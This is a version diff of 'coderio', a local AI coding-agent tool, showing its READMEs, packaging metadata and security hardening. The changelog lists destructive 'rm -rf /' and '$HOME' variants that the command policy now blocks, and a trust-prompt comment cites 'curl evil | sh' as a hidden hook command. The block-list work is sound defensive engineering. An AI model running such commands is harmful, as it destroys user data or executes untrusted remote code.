coderio 0.4.2__tar.gz → 0.4.3__tar.gz

{coderio-0.4.2 → coderio-0.4.3}/CHANGELOG.md

@@ -6,6 +6,24 @@ All notable changes to coderio are documented here. The format follows
 `pyproject.toml`'s `[project].version` — `coderio.__version__` reads it via
 `importlib.metadata`.
 
+## [0.4.3] — 2026-08-21
+
+### Security — P1/P2 hardening (audit-verified, adversarial + mutation tested)
+- **command_policy**: replaced fragile `_RM_RECURSIVE_PREFIX` regex (failed on
+  `rm -fr /` and `--recursive --force`) with Python-level `_check_recursive_rm()`
+  that tokenizes the command and correctly detects recursive flags in any order.
+  All flag permutations now blocked: `rm -rf /`, `rm -fr /`, `rm -r -f /`,
+  `rm --recursive --force /`, `rm --RECURSIVE /`, `rm -rf ~/`, `rm -rf $HOME/`,
+  `rm -rf *`. False positives eliminated: `rm -f /etc/passwd`, `rm --Force /`,
+  `echo rm -rf /`.
+- **win_sandbox**: reverted `_dict_to_env_block` env-forwarding plumbing that
+  broke `CreateProcessAsUserW` on Win32. `lpEnvironment=None` preserves parent
+  env inheritance (safest path). Known limitation documented for future work.
+- **loader**: `_find_project_dir` now accepts `str | Path` (CLI may pass str).
+- **test_seams**: new 22-test seam suite covering command_policy↔middleware,
+  loader↔repl↔skills, deep_loop↔sandbox_runner↔win_sandbox boundaries.
+  All existing tests (884 passed) + seams (22 passed) green.
+
 ## [0.4.2] — 2026-08-18
 
 ### Security — v3 audit short-term batch (#7/#8/#9/#11/#14, all runtime-verified)

coderio-0.4.3/PKG-INFO

@@ -0,0 +1,148 @@
+Metadata-Version: 2.5
+Name: coderio
+Version: 0.4.3
+Summary: A skill-driven coding agent — structural harness, foldable thinking TUI, deepagents engine.
+Author: coderio contributors
+License-Expression: MIT
+License-File: LICENSE
+Keywords: agent,ai-agent,cli,coding-agent,langchain,langgraph,llm,mcp,model-context-protocol,sandbox,skills,textual,tui
+Classifier: Development Status :: 3 - Alpha
+Classifier: Environment :: Console
+Classifier: Intended Audience :: Developers
+Classifier: Operating System :: MacOS
+Classifier: Operating System :: Microsoft :: Windows
+Classifier: Operating System :: POSIX :: Linux
+Classifier: Programming Language :: Python :: 3
+Classifier: Programming Language :: Python :: 3.11
+Classifier: Programming Language :: Python :: 3.12
+Classifier: Programming Language :: Python :: 3.13
+Classifier: Topic :: Software Development :: Code Generators
+Requires-Python: >=3.11
+Requires-Dist: ddgs>=4.0
+Requires-Dist: deepagents>=0.6
+Requires-Dist: httpx>=0.27
+Requires-Dist: langchain-anthropic>=0.2
+Requires-Dist: langchain-core>=0.3
+Requires-Dist: langchain-openai>=0.2
+Requires-Dist: langchain>=0.3
+Requires-Dist: langgraph-checkpoint-sqlite>=2.0
+Requires-Dist: langgraph>=0.2
+Requires-Dist: pydantic>=2
+Requires-Dist: rich>=13
+Requires-Dist: textual>=0.40
+Requires-Dist: tomli-w>=1.0
+Requires-Dist: typer>=0.12
+Provides-Extra: dev
+Requires-Dist: build>=1.2; extra == 'dev'
+Requires-Dist: mypy>=1.10; extra == 'dev'
+Requires-Dist: pytest-asyncio>=0.23; extra == 'dev'
+Requires-Dist: pytest-cov>=4; extra == 'dev'
+Requires-Dist: pytest>=8; extra == 'dev'
+Requires-Dist: ruff>=0.16; extra == 'dev'
+Provides-Extra: mcp
+Requires-Dist: langchain-mcp-adapters>=0.3.2; extra == 'mcp'
+Description-Content-Type: text/markdown
+
+# coderio
+
+[中文](README.md) | **English**
+
+> The agent claims "done" without running the tests? coderio's harness stops it.
+> A local coding agent with **native Zhipu GLM & StepFun Step coding-plan support** — four-tier permissions, layered sandbox, MCP, lifecycle hooks, and an interactive TUI.
+
+![demo](demo.gif)
+
+## Install
+
+```bash
+pip install coderio
+coderio    # onboarding wizard on first launch (pick provider, paste API key, auto context-window probe)
+```
+
+Requires Python 3.11+; Git Bash on Windows. Linux / macOS supported.
+
+## Why coderio
+
+The shared weakness of coding agents: **the model says "I'm done" and you just have to trust it**. coderio turns that sentence into a structural constraint—
+
+### The Four Gates: the agent can't lie to you
+
+| Gate | Behavior |
+|---|---|
+| **VerifyGate** | Wrote code, never ran it, wants to finish → intercepted, forced to continue. Parses real exit codes — **a failing test run does NOT count as verified** |
+| **CompletionGate** | Declares done with pending todos → intercepted |
+| **GroundingGate** | Cites files it never read → intercepted |
+| **PlanGate** | Writes code without a todo list → soft nudge |
+
+Not a prompt-level soft rule — a system-level control based on tool-call ground truth. Claude Code and Codex don't have this.
+
+### Native Chinese coding-plan support
+
+Zhipu **GLM Coding Plan** and StepFun **Step Plan** work out of the box (direct Anthropic-protocol connection) — your subscription quota runs a local agent, no proxies, no middle layer. Also supports OpenAI / Anthropic / Ollama / any OpenAI-compatible endpoint, with multi-profile switching.
+
+### Layered security, honestly stated
+
+- Four permission tiers (plan read-only / confirm per-action / auto_edit / full)
+- Command blacklist + whitelist (accident prevention); Linux bubblewrap OS sandbox (boundary enforcement)
+- First-use repo-config trust confirmation (hostile-repo protection); web_fetch SSRF protection
+- The blacklist/whitelist are **accident prevention, not adversarial defense** — adversarial protection comes from the sandbox + permissions; use a VM for hostile code
+
+## Feature highlights
+
+- **Interactive TUI**: streaming output, foldable thinking (Ctrl+O), collapsible TODO panel, vertical permission menu, task interruption (Esc), slash-command autocomplete, session management
+- **Headless mode**: `coderio run "task"` one-shot execution (CI / scripts / benchmarks) with graded exit codes
+- **MCP support**: connect external tools via `.mcp.json` (Claude Code-compatible format), managed with `coderio mcp`
+- **Lifecycle hooks**: `[[hooks]]` run your commands at PreToolUse / PostToolUse / UserPromptSubmit (exit 2 = block) — IO contract compatible with Claude Code
+- **Three-layer skills**: bundled + user + project, progressive disclosure saves context
+- **Context governance**: auto-compaction (60% window trigger), large-block offload, sqlite checkpoints across turns
+- **Subagents**: research (read-only, double-enforced) + general-purpose (inherits the main agent's full security stack)
+- **Engineering discipline**: 850+ tests, 80% coverage, mypy hard gate, uv.lock, 3 OS × 2 Python CI matrix
+
+<details>
+<summary><b>Config example</b> (click to expand)</summary>
+
+```toml
+# ~/.coderio/config.toml
+[model]
+provider_id = "bigmodel_coding_plan"   # Zhipu/StepFun coding plan, or openai/anthropic/ollama/custom
+default = "glm-5.2"
+
+[tools]
+permission_mode = "confirm"            # plan | confirm | auto_edit | full
+sandbox_mode = "off"                   # off | job (resource limits) | write (Linux file-write isolation)
+
+# Lifecycle hooks (Claude Code-compatible contract)
+[[hooks]]
+event = "PreToolUse"
+matcher = "write_file|edit_file"
+command = "python .hooks/protect.py"   # JSON on stdin; exit 2 = block
+```
+
+MCP, the sandbox 4-tuple, and more: [docs/coderio-architecture.md](docs/coderio-architecture.md).
+
+</details>
+
+## Common commands
+
+```bash
+coderio                                              # interactive TUI
+coderio run "fix the failing test" --quiet           # headless one-shot
+coderio run "task" --dangerously-skip-permissions    # full access (explicit opt-in)
+coderio mcp add github --type http --url ...          # manage MCP
+coderio skills install                               # install skill suites
+```
+
+Type `/` inside the TUI for all commands (/resume sessions, /mode permissions, /profile configs, /think unfold reasoning).
+
+## Known limitations
+
+- The Windows write-sandbox currently equals job mode (true isolation awaits the ACL work — documented honestly)
+- Blacklist/whitelist are accident-prevention by design (regex can be bypassed by obfuscation); use the sandbox / a VM for adversarial scenarios
+
+## Origin
+
+A spare-time project, open-sourced as a working reference for developers building their own coding agents. The name is **code + rio** (the author's English name is Lion; "codelion" sounded odd).
+
+## Contributing & License
+
+Issues and PRs welcome — see [CONTRIBUTING.md](CONTRIBUTING.md). MIT License.

coderio-0.4.3/README.md

@@ -0,0 +1,103 @@
+# coderio
+
+**中文** | [English](README_en.md)
+
+> 写了代码没跑过测试就说"完成"？coderio 的 harness 会拦住它。
+> 一个**原生支持智谱 GLM / 阶跃 StepFun Coding Plan** 的本地 coding agent——四级权限、多层沙箱、MCP、生命周期 hooks、交互式 TUI。
+
+![demo](demo.gif)
+
+## 安装
+
+```bash
+pip install coderio
+coderio    # 首次启动进入 onboarding 向导（选 provider、填 API key、自动探测上下文窗口）
+```
+
+要求：Python 3.11+；Windows 需 Git Bash。支持 Linux / macOS。
+
+## 为什么是 coderio
+
+市面上 coding agent 的共同软肋：**模型说"我做完了"，你就得信**。coderio 把这句话变成了结构约束——
+
+### 四道门：agent 骗不了你
+
+| 门 | 行为 |
+|---|---|
+| **VerifyGate** | 写了代码没跑验证就想结束 → 拦截、强制续跑。解析真实 exit code，**测试失败不算验证通过** |
+| **CompletionGate** | TODO 没清完就宣布完成 → 拦截 |
+| **GroundingGate** | 引用从未读过的文件下结论 → 拦截 |
+| **PlanGate** | 没 TODO 就动手写码 → 软提醒 |
+
+不是提示词软规则，是基于工具调用 ground truth 的系统级控制。Claude Code / Codex 都没有这个。
+
+### 原生支持中文 Coding Plan
+
+智谱 **GLM Coding Plan** 和阶跃 **StepFun Step Plan** 开箱即用（Anthropic 协议直连）——你的订阅额度跑本地 agent，不需要转发、不需要中间层。同时支持 OpenAI / Anthropic / Ollama / 任意 OpenAI 兼容端点，多 profile 一键切换。
+
+### 多层安全，诚实声明
+
+- 四级权限（plan 只读 / confirm 逐项确认 / auto_edit / full）
+- 命令黑名单 + 白名单（防手滑）；Linux bubblewrap OS 级沙箱（防越界写）
+- 仓库配置首次信任确认（防克隆恶意仓库）；web_fetch SSRF 防护
+- 黑白名单是**防手滑不是防对抗**——对抗性防护靠沙箱 + 权限，恶意代码请用 VM
+
+## 特性一览
+
+- **交互式 TUI**：流式输出、思考折叠（Ctrl+O）、可折叠 TODO 面板、纵向权限菜单、任务中断（Esc）、slash 命令补全、会话管理
+- **headless 模式**：`coderio run "任务"` 单次运行（CI / 脚本 / benchmark），退出码分级
+- **MCP 支持**：`.mcp.json`（Claude Code 兼容格式）接入外部工具，`coderio mcp` 命令行管理
+- **生命周期 hooks**：`[[hooks]]` 在 PreToolUse / PostToolUse / UserPromptSubmit 等事件执行你的命令（exit 2 = 阻断），IO 契约与 Claude Code 兼容
+- **skills 三层加载**：bundled + 用户 + 项目层，渐进披露省上下文
+- **上下文治理**：自动压缩（60% 窗口触发）、大块 offload、sqlite 检查点跨轮持久化
+- **子 agent**：research（只读，双重强制）+ general-purpose（继承主 agent 全部安全层）
+- **工程纪律**：850+ 测试、80% 覆盖率、mypy 硬门、uv.lock 锁定、3 OS × 2 Python CI 矩阵
+
+<details>
+<summary><b>配置示例</b>（点击展开）</summary>
+
+```toml
+# ~/.coderio/config.toml
+[model]
+provider_id = "bigmodel_coding_plan"   # 智谱/阶跃 coding plan，或 openai/anthropic/ollama/自定义
+default = "glm-5.2"
+
+[tools]
+permission_mode = "confirm"            # plan | confirm | auto_edit | full
+sandbox_mode = "off"                   # off | job（资源限制）| write（Linux 文件写隔离）
+
+# 生命周期 hooks（Claude Code 兼容契约）
+[[hooks]]
+event = "PreToolUse"
+matcher = "write_file|edit_file"
+command = "python .hooks/protect.py"   # stdin 收 JSON；exit 2 = 阻断
+```
+
+MCP、沙箱四元组、更多配置见 [docs/coderio-architecture.md](docs/coderio-architecture.md)。
+
+</details>
+
+## 常用命令
+
+```bash
+coderio                                              # 交互式 TUI
+coderio run "修复失败的测试" --quiet                   # headless 单次
+coderio run "任务" --dangerously-skip-permissions    # full 权限（显式选择）
+coderio mcp add github --type http --url ...          # 管理 MCP
+coderio skills install                               # 安装 skill 套件
+```
+
+TUI 内输入 `/` 查看全部命令（/resume 恢复会话、/mode 切权限、/profile 切配置、/think 展开思考）。
+
+## 已知限制
+
+- Windows 写沙箱当前等价于 job 档（真隔离待 ACL，文档如实标注）
+- 黑白名单为防手滑设计（正则可被混淆绕过），对抗性场景用沙箱 / VM
+
+## 起源
+
+业余项目，开源目的：给想自己搭 coding agent 的开发者一份能跑的参考。名字是 **code + rio**（作者英文名 Lion，本想叫 codelion）。
+
+## 贡献与 License
+
+欢迎 issue / PR，见 [CONTRIBUTING.md](CONTRIBUTING.md)。MIT License。

coderio-0.4.3/README_en.md

@@ -0,0 +1,103 @@
+# coderio
+
+[中文](README.md) | **English**
+
+> The agent claims "done" without running the tests? coderio's harness stops it.
+> A local coding agent with **native Zhipu GLM & StepFun Step coding-plan support** — four-tier permissions, layered sandbox, MCP, lifecycle hooks, and an interactive TUI.
+
+![demo](demo.gif)
+
+## Install
+
+```bash
+pip install coderio
+coderio    # onboarding wizard on first launch (pick provider, paste API key, auto context-window probe)
+```
+
+Requires Python 3.11+; Git Bash on Windows. Linux / macOS supported.
+
+## Why coderio
+
+The shared weakness of coding agents: **the model says "I'm done" and you just have to trust it**. coderio turns that sentence into a structural constraint—
+
+### The Four Gates: the agent can't lie to you
+
+| Gate | Behavior |
+|---|---|
+| **VerifyGate** | Wrote code, never ran it, wants to finish → intercepted, forced to continue. Parses real exit codes — **a failing test run does NOT count as verified** |
+| **CompletionGate** | Declares done with pending todos → intercepted |
+| **GroundingGate** | Cites files it never read → intercepted |
+| **PlanGate** | Writes code without a todo list → soft nudge |
+
+Not a prompt-level soft rule — a system-level control based on tool-call ground truth. Claude Code and Codex don't have this.
+
+### Native Chinese coding-plan support
+
+Zhipu **GLM Coding Plan** and StepFun **Step Plan** work out of the box (direct Anthropic-protocol connection) — your subscription quota runs a local agent, no proxies, no middle layer. Also supports OpenAI / Anthropic / Ollama / any OpenAI-compatible endpoint, with multi-profile switching.
+
+### Layered security, honestly stated
+
+- Four permission tiers (plan read-only / confirm per-action / auto_edit / full)
+- Command blacklist + whitelist (accident prevention); Linux bubblewrap OS sandbox (boundary enforcement)
+- First-use repo-config trust confirmation (hostile-repo protection); web_fetch SSRF protection
+- The blacklist/whitelist are **accident prevention, not adversarial defense** — adversarial protection comes from the sandbox + permissions; use a VM for hostile code
+
+## Feature highlights
+
+- **Interactive TUI**: streaming output, foldable thinking (Ctrl+O), collapsible TODO panel, vertical permission menu, task interruption (Esc), slash-command autocomplete, session management
+- **Headless mode**: `coderio run "task"` one-shot execution (CI / scripts / benchmarks) with graded exit codes
+- **MCP support**: connect external tools via `.mcp.json` (Claude Code-compatible format), managed with `coderio mcp`
+- **Lifecycle hooks**: `[[hooks]]` run your commands at PreToolUse / PostToolUse / UserPromptSubmit (exit 2 = block) — IO contract compatible with Claude Code
+- **Three-layer skills**: bundled + user + project, progressive disclosure saves context
+- **Context governance**: auto-compaction (60% window trigger), large-block offload, sqlite checkpoints across turns
+- **Subagents**: research (read-only, double-enforced) + general-purpose (inherits the main agent's full security stack)
+- **Engineering discipline**: 850+ tests, 80% coverage, mypy hard gate, uv.lock, 3 OS × 2 Python CI matrix
+
+<details>
+<summary><b>Config example</b> (click to expand)</summary>
+
+```toml
+# ~/.coderio/config.toml
+[model]
+provider_id = "bigmodel_coding_plan"   # Zhipu/StepFun coding plan, or openai/anthropic/ollama/custom
+default = "glm-5.2"
+
+[tools]
+permission_mode = "confirm"            # plan | confirm | auto_edit | full
+sandbox_mode = "off"                   # off | job (resource limits) | write (Linux file-write isolation)
+
+# Lifecycle hooks (Claude Code-compatible contract)
+[[hooks]]
+event = "PreToolUse"
+matcher = "write_file|edit_file"
+command = "python .hooks/protect.py"   # JSON on stdin; exit 2 = block
+```
+
+MCP, the sandbox 4-tuple, and more: [docs/coderio-architecture.md](docs/coderio-architecture.md).
+
+</details>
+
+## Common commands
+
+```bash
+coderio                                              # interactive TUI
+coderio run "fix the failing test" --quiet           # headless one-shot
+coderio run "task" --dangerously-skip-permissions    # full access (explicit opt-in)
+coderio mcp add github --type http --url ...          # manage MCP
+coderio skills install                               # install skill suites
+```
+
+Type `/` inside the TUI for all commands (/resume sessions, /mode permissions, /profile configs, /think unfold reasoning).
+
+## Known limitations
+
+- The Windows write-sandbox currently equals job mode (true isolation awaits the ACL work — documented honestly)
+- Blacklist/whitelist are accident-prevention by design (regex can be bypassed by obfuscation); use the sandbox / a VM for adversarial scenarios
+
+## Origin
+
+A spare-time project, open-sourced as a working reference for developers building their own coding agents. The name is **code + rio** (the author's English name is Lion; "codelion" sounded odd).
+
+## Contributing & License
+
+Issues and PRs welcome — see [CONTRIBUTING.md](CONTRIBUTING.md). MIT License.

{coderio-0.4.2 → coderio-0.4.3}/pyproject.toml

@@ -5,7 +5,7 @@ build-backend = "hatchling.build"
 
 [project]
 name = "coderio"
-version = "0.4.2"
+version = "0.4.3"
 description = "A skill-driven coding agent — structural harness, foldable thinking TUI, deepagents engine."
 readme = "README_en.md"
 license = "MIT"
@@ -201,10 +201,9 @@ fail_under = 60
 # real type errors (wrong arg counts, None where a value is expected) without
 # blocking on the many untyped third-party deps (langchain, deepagents, textual).
 #
-# CI runs mypy as a HARD GATE (no continue-on-error) for the modules NOT in
-# the override list below. The modules listed in [[tool.mypy.overrides]] have
-# `ignore_errors = true` until they're cleaned up — each ignore is a tracked
-# TODO, not a permanent pass. Remove entries as the files are fixed.
+# CI runs mypy as a HARD GATE for all modules except the override list below.
+# Modules with `ignore_errors = true` have known type issues — each entry is a
+# tracked TODO. Modules are removed from this list when they pass cleanly.
 python_version = "3.11"
 ignore_missing_imports = true
 warn_redundant_casts = true
@@ -218,6 +217,9 @@ exclude = ["tests/", "build/", "dist/", "\\.venv/"]
 # Per-module overrides: lenient modules (tracked cleanup TODOs).
 # Each entry here is a file with known type issues that would block CI if
 # enforced strictly. Remove entries as the files are cleaned up.
+#
+# Cleaned up 2026-08-21: removed coderio.agent.deep_loop and
+# coderio.mcp_loader (verified mypy clean — 0 errors, only notes).
 [[tool.mypy.overrides]]
 module = [
     "coderio.cli.tui",
@@ -227,10 +229,8 @@ module = [
     "coderio.cli.onboarding",
     "coderio.cli.stream",
     "coderio.cli.repl",
-    "coderio.agent.deep_loop",
     "coderio.tools.win_job",
     "coderio.tools.win_sandbox",
-    "coderio.mcp_loader",
     "coderio.session.store",
     "coderio.session.message",
     "coderio.llm.probe",

{coderio-0.4.2 → coderio-0.4.3}/src/coderio/agent/deep_loop.py

@@ -298,7 +298,7 @@ def _build_extra_tools(tools, skill_store, active_skills):
     return extra
 
 
-def _build_research_subagent(gate=None, command_policy=None, hook_runner=None):
+def _build_research_subagent(command_policy=None, hook_runner=None):
     """Return the research subagent spec (read-only, physically isolated).
 
     Tool exclusion uses the compat layer (_deepagents_compat) so that a
@@ -308,11 +308,12 @@ def _build_research_subagent(gate=None, command_policy=None, hook_runner=None):
     work bypassed the user's PreToolUse/PostToolUse hooks entirely. The runner
     is shared with the main agent (stateless across fire() calls).
 
-    Permission + CommandReview (v3 audit #11): execution-time enforcement on
-    top of the model-visibility whitelist — the whitelist filters what the
-    model SEES, these middlewares gate what actually RUNS. Belt and braces:
-    a whitelist bug or a future tool name collision can no longer turn the
-    "read-only" subagent into a writing one.
+    Permission + CommandReview: execution-time enforcement on top of the
+    model-visibility whitelist. The whitelist filters what the model SEES,
+    these middlewares gate what actually RUNS. This subagent uses its own
+    hardcoded PLAN gate so it can never be upgraded to write access via the
+    caller's permission mode (an FULL/auto caller must not turn the "read-only"
+    subagent into a writing one).
     """
     from coderio.agent._deepagents_compat import make_research_subagent_middleware
 
@@ -321,15 +322,15 @@ def _build_research_subagent(gate=None, command_policy=None, hook_runner=None):
         from coderio.agent.hooks import HooksMiddleware
 
         middleware.insert(0, HooksMiddleware(hook_runner))
-    if gate is not None:
-        from coderio.agent.permission_middleware import PermissionMiddleware
+    from coderio.agent.permission_middleware import PermissionMiddleware
+    from coderio.tools.permission import PermissionGate, PermissionMode
 
-        middleware.append(PermissionMiddleware(gate))
+    middleware.append(PermissionMiddleware(PermissionGate(PermissionMode.PLAN)))
     from coderio.agent.command_review import CommandReviewMiddleware
     from coderio.tools.command_policy import CommandPolicy
 
     policy = command_policy or CommandPolicy.default()
-    middleware.append(CommandReviewMiddleware(policy, gate=gate))
+    middleware.append(CommandReviewMiddleware(policy))
     return {
         "name": "research",
         "description": (
@@ -587,7 +588,7 @@ def run_deep_agent(
         "middleware": middleware,
         "backend": backend,
         "subagents": [
-            _build_research_subagent(gate=gate, command_policy=command_policy, hook_runner=hook_runner),
+            _build_research_subagent(command_policy=command_policy, hook_runner=hook_runner),
             _build_general_purpose_subagent(gate, command_policy, stream=stream, hook_runner=hook_runner),
         ],
     }

{coderio-0.4.2 → coderio-0.4.3}/src/coderio/cli/repl.py

@@ -1,13 +1,14 @@
 from __future__ import annotations
 
 from pathlib import Path
-from typing import Any
+from typing import TYPE_CHECKING, Any
 
 from rich.console import Console
 
 from coderio.agent.prompts import ActiveSkills
 from coderio.cli.stream import RichStream
-from coderio.config import Config, load_config
+from coderio.config import load_config
+from coderio.config.loader import _find_project_dir
 from coderio.llm import build_chat_model
 from coderio.session.store import Session
 from coderio.skills.store import SkillStore, load_skill_store
@@ -19,6 +20,9 @@ from coderio.tools.permission import (
     RichPromptPermissionGate,
 )
 
+if TYPE_CHECKING:
+    from coderio.config import Config
+
 BUNDLED_SKILLS = Path(__file__).resolve().parents[1] / "skills"
 
 
@@ -100,6 +104,7 @@ def build_runtime(
     model_override: str | None = None,
     provider_override: str | None = None,
 ):
+    search_from = Path(search_from).resolve()
     cfg = load_config(search_from=search_from)
 
     if mode_override:
@@ -118,10 +123,11 @@ def build_runtime(
         cfg = _replace(cfg, model=_replace(cfg.model, provider_id=provider_override))
 
     if cfg.skills.auto_load:
+        _proj = _find_project_dir(search_from)
         store = load_skill_store(
             BUNDLED_SKILLS,
             Path.home() / ".coderio" / "skills",
-            Path(search_from) / ".coderio" / "skills",
+            _proj / ".coderio" / "skills",
         )
     else:
         store = SkillStore()

{coderio-0.4.2 → coderio-0.4.3}/src/coderio/config/loader.py

@@ -37,21 +37,20 @@ def _merge(base: dict, override: dict) -> dict:
     return out
 
 
-def _find_project_dir(search_from: Path) -> Path:
+def _find_project_dir(search_from: Path | str) -> Path:
     """Walk upward from search_from looking for a project's .coderio/config.toml.
 
-    Never ascends into the user's home directory (the home ~/.coderio is the USER
-    layer, handled separately), so a temp dir nested under home won't accidentally
-    pick up the real user config as if it were a project config.
+    Accepts str or Path. Never ascends into the user's home directory (the home
+    ~/.coderio is the USER layer, handled separately).
     """
-    cur = search_from.resolve()
+    cur = Path(search_from).resolve()
     home = Path(os.path.expanduser("~")).resolve()
     for parent in [cur, *cur.parents]:
         if parent == home:
             break
         if (parent / ".coderio" / "config.toml").is_file():
             return parent
-    return search_from.resolve()
+    return cur
 
 
 def _default_user_dir() -> Path:

{coderio-0.4.2 → coderio-0.4.3}/src/coderio/config/trust.py

@@ -28,6 +28,7 @@ from __future__ import annotations
 import hashlib
 import json
 import logging
+import tomllib
 from pathlib import Path
 
 _log = logging.getLogger(__name__)
@@ -234,12 +235,60 @@ def summarize_repo_configs(search_from: Path | str) -> str:
             lines.append("  <unreadable>")
             continue
         if path.name == "config.toml":
-            # Echo every line mentioning a sensitive key — hooks' command
-            # lines included, so "curl evil | sh" can't hide behind a byte count.
-            for ln in text.splitlines():
-                s = ln.strip()
-                if any(k in s for k in _SENSITIVE_KEYS) and "=" in s:
-                    lines.append(f"  {s}")
+            # Parse TOML structurally so multi-line strings, inline tables, and
+            # nested values can't hide hook commands (P2-1 regression test:
+            # a multi-line `command = """\n...\n"""` was previously invisible
+            # because only raw lines containing a sensitive key were echoed).
+            try:
+                with open(path, "rb") as _f:
+                    data = tomllib.load(_f)
+            except Exception:
+                data = None
+            if data is None:
+                # Unparseable TOML: the loader will refuse this config later
+                # (fail-closed — hooks never run), but the user should SEE
+                # that, not a bare byte count. The raw-grep fallback below
+                # echoes all sensitive-looking lines INCLUDING command lines
+                # (third-party review: the old fallback excluded them on the
+                # assumption the structural path had already shown them —
+                # but on parse failure that path printed nothing, hiding the
+                # hooks entirely).
+                lines.append("  <unparseable config.toml — the loader will reject this file>")
+                for ln in text.splitlines():
+                    s = ln.strip()
+                    if any(k in s for k in _SENSITIVE_KEYS) and "=" in s:
+                        lines.append(f"  {s}")
+            else:
+                hooks = data.get("hooks", [])
+                if isinstance(hooks, list) and hooks:
+                    lines.append("  [[hooks]]")
+                    for h in hooks:
+                        # Shape guard (third-party review): `hooks = [1]` or
+                        # `hooks = "junk"` previously crashed here (h.get on
+                        # non-dict) — taking down coderio at the trust prompt
+                        # before the loader's tolerant _parse_hooks could
+                        # simply skip the malformed entry.
+                        if not isinstance(h, dict):
+                            continue
+                        cmd = h.get("command")
+                        if cmd:
+                            lines.append(f"    command = {cmd!r}")
+                        ev = h.get("event")
+                        if ev:
+                            lines.append(f"    event = {ev!r}")
+                # Echo every line mentioning a sensitive key (non-hook keys).
+                # Also skips the top-level `hooks = [...]` inline form — the
+                # structural block above already rendered each hook's command.
+                for ln in text.splitlines():
+                    s = ln.strip()
+                    if any(k in s for k in _SENSITIVE_KEYS) and "=" in s:
+                        if (
+                            not s.startswith("[[hooks]]")
+                            and not s.startswith("command =")
+                            and not s.startswith("event =")
+                            and not s.startswith("hooks =")
+                        ):
+                            lines.append(f"  {s}")
         else:  # .mcp.json — list servers (they spawn/connect at startup)
             try:
                 servers = json.loads(text).get("mcpServers", {})